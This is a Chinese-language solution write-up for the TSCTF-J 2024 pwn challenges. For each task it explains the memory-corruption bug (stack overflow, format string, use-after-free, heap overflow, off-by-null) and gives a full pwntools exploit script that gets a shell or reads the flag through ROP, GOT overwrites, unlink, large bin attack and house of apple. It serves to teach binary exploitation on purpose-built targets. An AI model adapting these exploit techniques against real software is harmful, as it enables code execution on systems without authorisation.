[TSCTF-J]2024二进制漏洞题解

前言

TSCTF-J2024 Pwn试题贯彻新时代CTF的教育方针,坚持gdb动调的指导地位,贯彻新时代中国特色CTF思想,坚持多想少问的办学方向,落实立德树人的根本任务,坚持比赛为新生服务、为天枢信息安全协会招贤纳才服务、为巩固和发展中国特色CTF思想服务、为引导新生了解和熟悉pwn方向服务,努力培养担当北邮复兴大任的时代新人,培养五大方向全面发展的全栈接班人。 较好地发挥了TSCTF-J的选拔功能,对萌新学习相关知识发挥了积极的引导和促进作用。

题目在此

在pwn题中,我们可以使用如下工具在本机替换程序执行时依赖的llibc:

我听到了[替罪]的回响

1
2
漏洞:栈溢出
攻击手法:栈迁移、ret2text

可以明显观察到vuln函数存在栈溢出漏洞:

然而允许溢出的长度只有2个地址的空间,完全不够用,因此我们需要使用栈迁移。可以在vuln函数的结尾看见可爱的leave; ret;,其中leave指令相当于mov rsp, rbp; pop rbp;ret指令相当于pop rip;。其执行后的效果类似:

1
2
3
4
5
6
7
8
9
        ----------                ----------            ----------            ----------
rsp -> | AA | | AA | | AA | | AA |
---------- ---------- ---------- ----------
rbp -> | BB | rsp,rbp -> | BB | rsp -> | BB | | BB |
---------- ---------- ---------- ----------
| CC | | CC | | CC | rsp -> | CC |
---------- ---------- ---------- ----------
| DD | | DD | rbp -> | DD | rbp -> | DD |
---------- ---------- ---------- ----------

我们发现,如果栈布局合适,我们就可以同时控制rsp和rbp。先来看看函数返回前原本的样子:

但是如果我们把他溢出成这个样子:

他就会通过两次leave; ret;变成这样,执行ret后就会将栈迁移至buf:

此时,程序即将执行buf中的第二个地址所指的代码。我们可以通过第一次溢出泄露栈地址,同时在main函数中可以找到system函数,在magic函数中可以找到pop rdi; ret;

据此我们可以写出解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = process('./TiZui')

leave_ret = 0x400733
system_addr = 0x400570
pop_rdi_ret = 0x4006CA

# gdb.attach(p)
p.send(b'a' * 47 + b'b')
p.recvuntil(b'b')
buf = u64(p.recv(6).ljust(8, b'\x00')) - 0x40
print(hex(buf))

payload = b'/bin/sh\x00' + p64(pop_rdi_ret) + p64(buf) + p64(system_addr) + p64(0) * 2 + p64(buf) + p64(leave_ret)
# gdb.attach(p)
p.send(payload)

p.interactive()

我听到了[招灾]的回响

1
2
漏洞:栈溢出
攻击手法:ret2libc

可以明显观察到vuln函数存在栈溢出漏洞:

在溢出时我们应当注意将v1覆写。这里我们讲解下plt表和got表。

当程序第一次调用某个外部函数时会先访问plt表,plt表跳转到got表,但此时的got表里并不是这个函数的地址,而是再一次跳转到plt表中此函数的初始化连接解析部分。解析之后再次跳转到got表中存放此函数地址的地方,调用真正的函数。同时会将第一次plt表访问got表时的got表修改为真正的函数地址。过程如下:

当程序再次调用这个函数的时候就可以只通过plt表访问一次got表即可获取真正的地址并调用。过程如下:

由于vuln函数中调用过一次puts函数,我们可以通过栈溢出控制程序的执行流程,将puts函数的got表打印出来,这样我们就可以拿到puts函数的真实地址,从而计算出libc的基址。通过这个基址,我们就可以计算出system函数和"/bin/sh"字符串的真实地址。如果我们在此次溢出的时候让程序再次运行vuln函数,我们就可以通过第二次溢出执行system("/bin/sh")。

我们可以通过如下神奇的妙妙工具找到我们想要的东西:

据此我们可以写出解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

p = process('./ZhaoZai')
attachment = ELF('./ZhaoZai')
libc = ELF('./libc-2.23.so')

vuln = 0x400626
puts_plt = attachment.plt['puts']
puts_got = attachment.got['puts']
pop_rdi_ret = 0x400743

p.recvuntil(b'?\n')
p.sendline(b'}' * 0x38 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln))
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
bin_sh_addr = libc_base + libc.search(b'/bin/sh').__next__()
system_addr = libc_base + libc.symbols['system']
print(hex(libc_base))

p.sendline(b'}' * 0x38 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr))

p.interactive()

我听到了[强运]的回响

1
2
漏洞:格式化字符串
攻击手法:格式化字符串

可以明显观察到main函数存在格式化字符串漏洞:

我们需要通过一次格式化字符串泄露程序读入的入随机数并且修改全局变量i的值不少于5。我们先全部输入"%p"泄露栈上内容,并且很容易可以根据5个int类型数据的长度找到程序生成的随机数,效果如下:

通过泄露的数据可以看到我们的输入是栈上第20个参数,同时我们需要至少10个"%p"才能泄露全部的随机数。这里我们需要用到一个特殊的格式化符号——%x$n,他会将栈上第x个参数识别为一个地址,向这个地址上写入已输出的字符数量。我们可以利用它篡改i的值。

事实上,由于我代码写错了,将对于原始随机数的异或和对比写到了一个循环中,导致这道题并不需要泄露随机数。在原先的设计中,应当用全局变量进行异或,再用局部变量对输入进行判断。但这本身不是很难,所以就没有再上更新后的版本。

据此我们可以写出解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

p = process('./QiangYun')

p.recvuntil(b"?")
# p.send(b'%p' * 0x20)
p.send(b'%p' * 10 + b'xxxx%24$nxxx' + p64(0x40408C)) # 注意每8个字符算一个参数
recv = p.recvuntil(b'xxxx').replace(b'xxxx', b'').split(b'(nil)')[-1:][0].split(b'0x')[1:]

randnumber = [0 for i in range(5)]
randnumber[0] = str(int(recv[0][8:16], 16)).encode()
randnumber[1] = str(int(recv[0][:8], 16)).encode()
randnumber[2] = str(int(recv[1][8:16], 16)).encode()
randnumber[3] = str(int(recv[1][:8], 16)).encode()
randnumber[4] = str(int(recv[2][:8], 16)).encode()
payload = b''
for i in range(5):
payload += randnumber[i] + b'\n'
print(hex(int(randnumber[i])), int(randnumber[i]))
# gdb.attach(p)
p.send(payload)

p.interactive()

我听到了[探囊]的回响

1
2
漏洞:边界检查不严
攻击手法:stdout leak,shellcode压缩

可以明显观察到main函数边界检查不严:

通过seccomp-tools查看程序的沙箱保护:

这个沙箱限制了我们之后只能进行open、read、write,但是read的地址固定且长度受限。这个固定地址还没有执行权限,导致我们在shellcode中进行二次读是很困难的。但是程序之后会自己将fd=3的东西读进来。所以我们可以考虑在shellcode中用open()函数打开flag文件。

由于程序的边界检查不严,如果我们输入-32,就会索引到stdout处,这是一个FILE结构体,它的前几个参数如下:

1
2
3
4
5
6
7
8
9
int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */

我们可以尝试篡改它的值,让他从0x95270000的地方开始写,就可以在程序退出的时候让程序将flag吐出来。

据此我们可以写出解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

p = process('./TanNang')

p.sendlineafter(b'like?', b'-32')

addr = 0x4040C0 + 12
shellcode = f'''
xor al, 2
mov edi, {addr}
xor esi, esi
syscall
ret
'''
p.sendafter(b'file!', asm(shellcode) + b'flag')

payload = p64(0xfbad1800) + p64(0) * 3 + p64(0x95270000) + p64(0x95270100)
p.sendlineafter(b'others!', payload)

p.interactive()

这道题shellcode部分的限制还是很松的,如上解法仅需16字节即可。

我听到了[破万法]的回响

1
2
漏洞:UAF
攻击手法:double free

尽管Weapon和Defence函数都有漏洞,但很难为我们所利用。在Record函数中我们可以看到一个基础堆题的模板。可以明显观察到Delete函数存在UAF漏洞:

我们可以先申请一个大一点的堆再将其释放以获取main_arena+88的值,之后就可以计算libc和各种我们需要的东西了。

libc-2.23的检查还不是很严,我们可以直接double free:

接下来我们将__malloc_hook覆写为one_gadget即可get shell。但是此时4个one_gadget均不能成功。这里我们可以将__malloc_hook覆写为realloc函数内靠前的某个地址,让他push一些东西来调整栈帧。然后realloc会检测__realloc_hook的地方有没有东西,所以我们可以在__realloc_hook的地方写上one_gadget。

据此我们可以写出解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

p = process('./PoWanFa')

libc = ELF('./libc-2.23.so')

def create(size, content):
p.sendlineafter(b'choice:', b'1')
p.sendlineafter(b'write?', str(size).encode())
p.sendlineafter(b'begin.', content)

def delete(index):
p.sendlineafter(b'choice:', b'2')
p.sendlineafter(b'delete?', str(index).encode())

def browse(index):
p.sendlineafter(b'choice:', b'3')
p.sendlineafter(b'see?\n', str(index).encode())

p.sendlineafter(b'choice:', b'3')
create(0x100, b'')
create(0x60, b'')
create(0x60, b'')
create(0x60, b'')
delete(0)
browse(0)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x3c4b78
malloc_hook_addr = libc_base + libc.symbols['__malloc_hook']
realloc_addr = libc_base + libc.symbols['realloc']
print(hex(libc_base), hex(malloc_hook_addr), hex(realloc_addr))

create(0x100, b'')
delete(1)
delete(2)
delete(1)
create(0x60, p64(malloc_hook_addr-35))
create(0x60, b'')
create(0x60, b'')
create(0x60, b'\x00' * 11 + p64(libc_base + 0x4527a) + p64(realloc_addr + 12))
# gdb.attach(p, 'b *Create+122')

p.sendlineafter(b'choice:', b'1')
p.sendlineafter(b'write?', str(0x60).encode())
p.interactive()

我听到了[双生花]的回响

1
2
漏洞:堆溢出
攻击手法:unlink

可以明显观察到Change函数存在堆溢出漏洞:

同时Browse函数是个废物:

由于溢出长度足够大,我们可以在已经申请的堆中伪造一块已经释放过的堆,这样当我们释放器后面的堆块时就会触发unlink,使得我们伪造的部分就会指向一个我们指定的地方,并且允许我们修改。

伪造前:

伪造后:

接下来释放3号堆块(深蓝色),可以看见top chunk指向了我们伪造的地方:

同时通过unlink的步骤:

1
2
3
4
FD=P->fd = target addr - 0x18
BK=P->bk = expect value = target addr - 0x10
FD->bk = BK,即*(target addr - 0x18 + 0x18) = expect value
BK->fd = FD,即*(expect value + 0x10) = *(target addr) = target addr - 0x18

使得目标地址指向了比自己低0x18的地方。我们将target addr设定为&RecordList[2],就会得到以下效果:

接下来我们先编辑RecordList[2]使得RecordList[0]覆写为free函数的got表。再编辑RecordList[0]使得free函数的got表覆写为puts函数的plt表。然后编辑RecordList[2]使得RecordList[0]覆写为puts函数的got表。最后将释放0号块。这样我们就可以手动让程序输出puts的真实地址,从而可以计算其余所需地址。

我们用同样的方法可以再将free函数的got表覆写为system函数的真实地址,之后释放一块写有"/bin/sh"字符串的堆即可。

据此我们可以写出解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

# context.log_level = 'debug'

p = process('./ShuangShengHua')
attachment = ELF('./ShuangShengHua')
libc = ELF('./libc-2.23.so')

def create(size):
p.sendlineafter(b'choice:', b'1')
p.sendlineafter(b'write?', str(size).encode())

def delete(id):
p.sendlineafter(b'choice:', b'2')
p.sendlineafter(b'delete?', str(id).encode())

def change(id, content):
p.sendlineafter(b'choice:', b'3')
p.sendlineafter(b'change?', str(id).encode())
p.sendafter(b'begin.', content)

free_got = attachment.got['free']
puts_got = attachment.got['puts']
puts_plt = attachment.plt['puts']
List = 0x6020A0

create(0x80)
create(0x80)
create(0x80)
create(0x80)
payload = p64(0) + p64(0x81) + p64(List + 0x10 - 0x18) + p64(List + 0x10 - 0x10) + p64(0) * 12 + p64(0x80) + p64(0x90)
change(2, payload)
delete(3)

payload = p64(0) + p64(free_got)
change(2, payload)
change(0, p64(puts_plt))
payload = p64(0) + p64(puts_got)
change(2, payload)
delete(0)

p.recvline()
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
print(hex(libc_base))

payload = p64(0) + p64(free_got)
change(2, payload)
change(0, p64(system_addr))
create(0x20)
change(3, b'/bin/sh\x00')
delete(3)

p.interactive()

我听到了[夺心魄]的回响

1
2
漏洞:UAF
攻击手法:large bin attack

利用large bin attack攻击mp_结构体,使得我们可以往tchache bin里面释放一块巨大的东西。由于他太大了,会使得它的链表头被写到了1号块中。修改它,覆写free_hook为system即可。

据此我们可以写出解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

# context.log_level = 'debug'

p = process('./DuoXinPo')
libc = ELF('./libc-2.31.so')

def create(id, size, content):
p.sendlineafter(b'choice:', b'1')
p.sendlineafter(b'id.', str(id).encode())
p.sendlineafter(b'write?', str(size).encode())
p.sendlineafter(b'begin.', content)

def delete(id):
p.sendlineafter(b'choice:', b'2')
p.sendlineafter(b'delete?', str(id).encode())

def change(id, content):
p.sendlineafter(b'choice:', b'3')
p.sendlineafter(b'change?', str(id).encode())
p.sendlineafter(b'begin.', content)

def browse(id):
p.sendlineafter(b'choice:', b'4')
p.sendlineafter(b'see?', str(id).encode())

create(1, 0x500, b'')
create(2, 0x600, b'')
create(3, 0x700, b'')
delete(1)
delete(3)
create(4, 0x700, b'')
browse(1)
p.recvline()
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1ed010
mp_addr = libc_base + 0x1ec280
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
print(hex(libc_base), hex(mp_addr), hex(free_hook_addr), hex(system_addr))

create(40, 0x500, b'')
create(5, 0x700, b'') # chunk1
create(6, 0x500, b'')
create(7, 0x6f0, b'') # chunk2
create(8, 0x500, b'')
create(9, 0x500, b'') # chunk3
create(10, 0x500, b'/bin/sh\x00')
delete(5)
create(11, 0x900, b'')
delete(7)
browse(5)
p.recvline()
fd = u64(p.recv(6).ljust(8, b'\x00'))
change(5, p64(fd) * 2 + p64(mp_addr + 0x50 - 0x20) * 2)
create(41, 0x900, b'')

delete(9)
change(1, p64(0) * 13 + p64(free_hook_addr))
create(12, 0x500, p64(system_addr))
delete(10)
# gdb.attach(p)

p.interactive()

我听到了[天行健]的回响

1
2
漏洞:off-by-null
攻击手法:unlink, orw

标准off-by-null并添加了沙箱,libc-2.31时所使用的gadget与libc-2.29略有不同。

据此我们可以写出解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
from pwn import *

context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

p = process('./TianXingJian')
libc = ELF('./libc-2.31.so')

def create(size, content):
p.sendlineafter(b'choice:', b'1')
p.sendlineafter(b'write?', str(size).encode())
p.sendafter(b'begin.', content)

def delete(id):
p.sendlineafter(b'choice:', b'2')
p.sendlineafter(b'delete?', str(id).encode())

def browse(id):
p.sendlineafter(b'choice:', b'3')
p.sendlineafter(b'see?', str(id).encode())

while True:
try:
for i in range(14):
create(0x10, b'a')
create(0x50, b'a')
for i in range(13):
create(0x60, b'a')
for i in range(8):
create(0x70, b'a')
for i in range(4):
create(0xc0, b'a')
for i in range(2):
create(0xe0, b'a')
for i in range(7):
create(0x28, b'f')
create(0x3080, b'./flag') # 49
# ----------分割战场----------

# get a fake chunk *in* number 52
create(0xbf0, b'50')
create(0x20, b'51')
delete(50)
create(0x1000, b'50')
create(0x28, p64(0) + p64(0x521) + b'\x90') # 52

# FAKE.fd->bk = FAKE, FAKE.fd is number 55
create(0x28, b'53')
create(0x28, b'54')
create(0x28, b'55')
create(0x28, b'56')
for i in range(7):
delete(42 + i)
delete(53)
delete(55)
for i in range(7):
create(0x28, b'f')
create(0x400, b'53')
create(0x28, p64(0) + b'\x10') # 55
create(0x28, b'57')
# 52 57 54 55 56 53(0x400)

# FAKE.bk->fd = FAKE, FAKE.bk is number 52, whitch contains the fake chunk
for i in range(7):
delete(42 + i)
delete(54)
delete(52)
for i in range(7):
create(0x28, b'f')
create(0x28, b'\x10') # 52
create(0x28, b'54')

# off by null + unlink = chunk overlap
create(0x28, b'58')
create(0x5f8, b'59')
create(0xc0, b'60') # clean the bins
delete(58)
create(0x28, p64(0) * 4 + p64(0x520))
delete(59)

# get libc
create(0x10, b'59')
browse(57)
p.recvline()
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1ecbe0
free_hook_addr = libc_base + libc.symbols['__free_hook']
print(hex(libc_base), hex(free_hook_addr))
# gdb.attach(p)

# get heap
create(0xb0, b'61')
create(0x28, b'62') # 62 = 53
create(0x28, b'63')
delete(63)
delete(62)
browse(53) # Don't let '\x00' appear in the address
p.recvline()
heap_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(heap_addr))
create(0x28, b'62')
create(0x28, b'63')

# let __free_hook be the magic gadget
magic_gadget = libc_base + 0x151bb0
for i in range(7):
delete(42 + i)
delete(62)
delete(63)
delete(53) # 53 = 62
for i in range(7):
create(0x28, b'f')
create(0x28, p64(free_hook_addr))
create(0x28, b'63')
create(0x28, b'62')
create(0x28, p64(magic_gadget)) # 64

# orw
pop_rdi_ret = libc_base + 0x23b6a
pop_rsi_ret = libc_base + 0x2601f
pop_rax_rdx_rbx_ret = libc_base + 0x15fae5
syscall_ret = libc_base + 0x630a9
setcontext_addr = libc_base + libc.symbols['setcontext']
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = heap_addr + 0x2d0
frame.rdx = 0x1000
frame.rsp = heap_addr + 0x2d0
frame.rip = syscall_ret
create(0x100, p64(0) * 4 + p64(setcontext_addr + 61) + bytes(frame)[0x28:]) # 65
create(0x20, p64(0) + p64(heap_addr + 0x30)) # 66
# gdb.attach(p, 'b *Delete+164')
delete(66)

payload = b''
payload += p64(pop_rdi_ret) + p64(heap_addr - 0x31b0)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_rdx_rbx_ret) + p64(2) + p64(7) + p64(0)
payload += p64(syscall_ret)

payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(heap_addr - 0x3000)
payload += p64(pop_rax_rdx_rbx_ret) + p64(0) + p64(0x100) + p64(0)
payload += p64(syscall_ret)

payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(heap_addr - 0x3000)
payload += p64(pop_rax_rdx_rbx_ret) + p64(1) + p64(0x100) + p64(0)
payload += p64(syscall_ret)
p.send(payload)
p.recvline()
except:
flag = p.recv()
if b'flag' in flag:
print(flag)
exit(0)
else:
p.close()
p = process('./TianXingJian')

我看到了[生生不息]的激荡!

1
2
漏洞:UAF
攻击手法:large bin attack, house of apple

程序只给了我们一次读和一次写的机会,寻常方法很难利用,考虑house of apple。我们先通过UAF使用一次读将libc泄露出来,并计算各种我们需要的地址。接下来我们需要通过不断地创建和销毁堆使得我们可以控制一个已释放堆块的bk_nextsize和fd_nextsize。如下代码中就使用4号堆块控制了6号堆块的这两个位置。最后通过large bin attack攻击_IO_list_all为我们伪造的FILE结构体。本文采用的house of apple链子如下,详见这篇文章

据此我们可以写出解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

context(arch = 'amd64')
# context.log_level = 'debug'

p = process('./ShengShengBuXi')
libc = ELF('./libc-2.39.so')

def Earn(size):
p.sendlineafter(b'choice:', b'1')
p.sendlineafter(b'earned?', str(size).encode())

def Buy(id):
p.sendlineafter(b'choice:', b'2')
p.sendlineafter(b'use?', str(id).encode())

def Note(id, content):
p.sendlineafter(b'choice:', b'3')
p.sendlineafter(b'note?', str(id).encode())
p.sendlineafter(b'begin.', content)

def Check(id):
p.sendlineafter(b'choice:', b'4')
p.sendlineafter(b'check?', str(id).encode())

Earn(0x600) # 0
Earn(0x6e0) # 1 !
Buy(0)
Earn(0x6e0) # 2
Check(0)
p.recvline()
libc_base = u64(p.recv(8)) - 0x203f90
p.recv(8)
heap_addr = u64(p.recv(8)) + 0x610
system_addr = libc_base + libc.symbols['system']
_IO_list_all_addr = libc_base + libc.symbols['_IO_list_all']
_IO_wfile_jumps_addr = libc_base + libc.symbols['_IO_wfile_jumps']
_lock = libc_base + libc.symbols['_IO_list_all'] + 0xa8
print(hex(libc_base), hex(heap_addr))
print('_IO_list_all:', hex(_IO_list_all_addr))
print('_IO_wfile_jumps:', hex(_IO_wfile_jumps_addr))
print('_lock:', hex(_lock))

fake = flat({
# 0: [b' cat f*\x00', 0x6e1],
0: [b'\x80\x80||sh\x00\x00', 0x6e1],
# 0x88: heap_addr + 0x1000,
0xa0: heap_addr + 0x200,
0xd8: _IO_wfile_jumps_addr,
0x2e0: heap_addr + 0x400,
0x468: system_addr,
0x6e0: []
}, filler = b'\x00')

Buy(1)
Buy(2)
Earn(0x5e0) # 3
Earn(0x800) # 4 !
Buy(3)
Buy(4)
Earn(0x5d0) # 5
Earn(0x6e0) # 6 !
Earn(0x500) # 7
Buy(6)
Earn(0x800) # 8
gdb.attach(p)
payload = p64(_IO_list_all_addr - 0x20) * 2
payload += fake
payload += p64(0) + p64(0x111) + p64(0xd00) + p64(0x6f0)
Note(4, payload)
Buy(1)
Earn(0x800)

p.sendlineafter(b'choice:', b'5')

p.interactive()

后记

我本以为只要我提示得足够多,新生就一定能做出来这些题,但是却忽略了新生本身接触这些东西的时间就不长,并不能够如我想象般迅速地反应过来这些题都在考什么以及我在说什么。这就导致整场比赛的题目难度过高,平均每人也就做出来两三道的样子。π_π

如此想来,去年在给逆向出题的时候可能也犯了同样的错误,使得难度远超以往。但是去年有几个选手是怪物,解出来了不少题目,又使得整体上看起来没那么难。 ᶘ ᵒᴥᵒᶅ

嗯…怎么说呢,这个b二进制谁爱看谁看吧,我要打web!( ≧ ∇ ≦ ) /